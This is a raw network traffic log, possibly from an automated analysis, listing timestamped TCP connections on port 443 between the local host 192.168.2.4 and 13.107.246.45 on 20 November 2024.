Nov 20, 2024 07:49:24.788781881 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.788953066 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.788960934 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.811630011 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.811978102 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.811986923 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.812362909 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.812366009 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.819056988 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.819339037 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.819351912 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.819686890 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.819690943 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.830543995 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.830591917 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.830755949 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.830782890 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.830841064 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.830884933 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.830884933 CET	49946	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.830914974 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.830939054 CET	443	49946	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.833259106 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.833287001 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.833353043 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.833478928 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.833489895 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.864346981 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.864552021 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.864597082 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.864603996 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.864634991 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.864788055 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.864798069 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.864814043 CET	49947	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.864819050 CET	443	49947	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.866992950 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.867028952 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.867095947 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.867218018 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.867228985 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.912803888 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.913178921 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.913292885 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.917913914 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918090105 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918170929 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.918203115 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918226957 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918268919 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.918853045 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.918867111 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918879986 CET	49949	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.918884993 CET	443	49949	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.918920994 CET	49948	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.918929100 CET	443	49948	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.921657085 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921689034 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.921699047 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921708107 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.921770096 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921789885 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921901941 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921911001 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:24.921937943 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:24.921952009 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.412240982 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.413012981 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.413043976 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.413522959 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.413530111 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.426218033 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.426795959 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.426816940 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.427195072 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.427201033 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.496732950 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.497574091 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.497601032 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.498049021 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.498056889 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.511253119 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.511586905 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.511657000 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.511694908 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.511717081 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.511730909 CET	49952	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.511737108 CET	443	49952	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.514873028 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.514913082 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.515006065 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.515162945 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.515170097 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.529097080 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.529252052 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.529309034 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.529380083 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.529391050 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.529402971 CET	49950	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.529407978 CET	443	49950	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.532171965 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.532208920 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.532378912 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.532448053 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.532457113 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.558353901 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.558842897 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.558901072 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.559412956 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.559428930 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.562454939 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.562725067 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.562743902 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.563051939 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.563057899 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.599834919 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.600069046 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.600116968 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.600155115 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.600191116 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.610220909 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.610241890 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.610256910 CET	49951	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.610261917 CET	443	49951	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.613409996 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.613452911 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.613518000 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.613660097 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.613672972 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.658493996 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.658801079 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.658874035 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.658937931 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.658956051 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.658967972 CET	49953	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.658972979 CET	443	49953	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.661869049 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.661999941 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.662086010 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.662231922 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.662272930 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.677516937 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.677913904 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.677969933 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.677988052 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.678050995 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.678098917 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.678132057 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.678145885 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.678155899 CET	49954	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.678160906 CET	443	49954	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.681071043 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.681116104 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:25.681211948 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.681341887 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:25.681353092 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.196764946 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.198355913 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.198402882 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.198826075 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.198841095 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.200905085 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.202131987 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.202189922 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.202552080 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.202569008 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.250617027 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.251065969 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.251085997 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.251528978 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.251534939 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.296725988 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.297386885 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.297399044 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.297951937 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.297955990 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.300376892 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.300659895 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.300708055 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.300770998 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.300832987 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.300880909 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.300882101 CET	49955	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.300921917 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.300949097 CET	443	49955	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.301855087 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.302094936 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.302160025 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.302182913 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.302194118 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.302212954 CET	49956	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.302217960 CET	443	49956	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.308867931 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.308953047 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.309170008 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.309322119 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.309343100 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.313641071 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.313680887 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.313738108 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.313999891 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.314016104 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.322026968 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.322400093 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.322408915 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.322835922 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.322839975 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.353874922 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.353940964 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.354038954 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.354253054 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.354269028 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.354278088 CET	49957	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.354283094 CET	443	49957	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.356944084 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.356970072 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.357053041 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.357315063 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.357321978 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.404072046 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.404778957 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.404839039 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.404881001 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.404944897 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.405106068 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.405106068 CET	49958	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.405147076 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.405168056 CET	443	49958	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.407807112 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.407845020 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.407915115 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.408050060 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.408066034 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.420912027 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.421099901 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.421205044 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.421417952 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.421428919 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.421461105 CET	49959	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.421466112 CET	443	49959	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.423624992 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.423654079 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.423738003 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.423837900 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.423844099 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.962392092 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.969481945 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.971616030 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.971643925 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.971697092 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.971726894 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.972255945 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.972261906 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:26.972510099 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:26.972517014 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.032510996 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.033054113 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.033067942 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.033520937 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.033524990 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.041510105 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.042037964 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.042057991 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.042500973 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.042505980 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.062477112 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.062884092 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.062907934 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.063301086 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.063311100 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.069392920 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.069581032 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.069621086 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.069626093 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.069669008 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.069709063 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.069721937 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.069732904 CET	49961	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.069737911 CET	443	49961	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.072738886 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.072765112 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.072843075 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.072983027 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.072998047 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.073570967 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.073797941 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.073843002 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.073869944 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.073880911 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.073893070 CET	49960	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.073898077 CET	443	49960	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.075889111 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.075922966 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.075993061 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.076117992 CET	49966	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.076128960 CET	443	49966	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.137940884 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.138314962 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.138382912 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.138411999 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.138422966 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.138436079 CET	49962	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.138441086 CET	443	49962	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.140681028 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.140697956 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.140765905 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.140886068 CET	49967	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.140896082 CET	443	49967	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.142719030 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.143351078 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.143398046 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.143404007 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.143440008 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.143479109 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.143486977 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.143497944 CET	49963	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.143501997 CET	443	49963	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.145386934 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.145409107 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.145464897 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.145584106 CET	49968	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.145592928 CET	443	49968	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.160259008 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.160537958 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.160588026 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.160615921 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.160626888 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.160640001 CET	49964	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.160653114 CET	443	49964	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.162511110 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.162533045 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.162599087 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.162710905 CET	49969	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.162722111 CET	443	49969	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.708170891 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.708833933 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.708868980 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.709371090 CET	49965	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:27.709376097 CET	443	49965	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:27.740540028 CET	443	49966	13.107.246.45	192.168.2.4
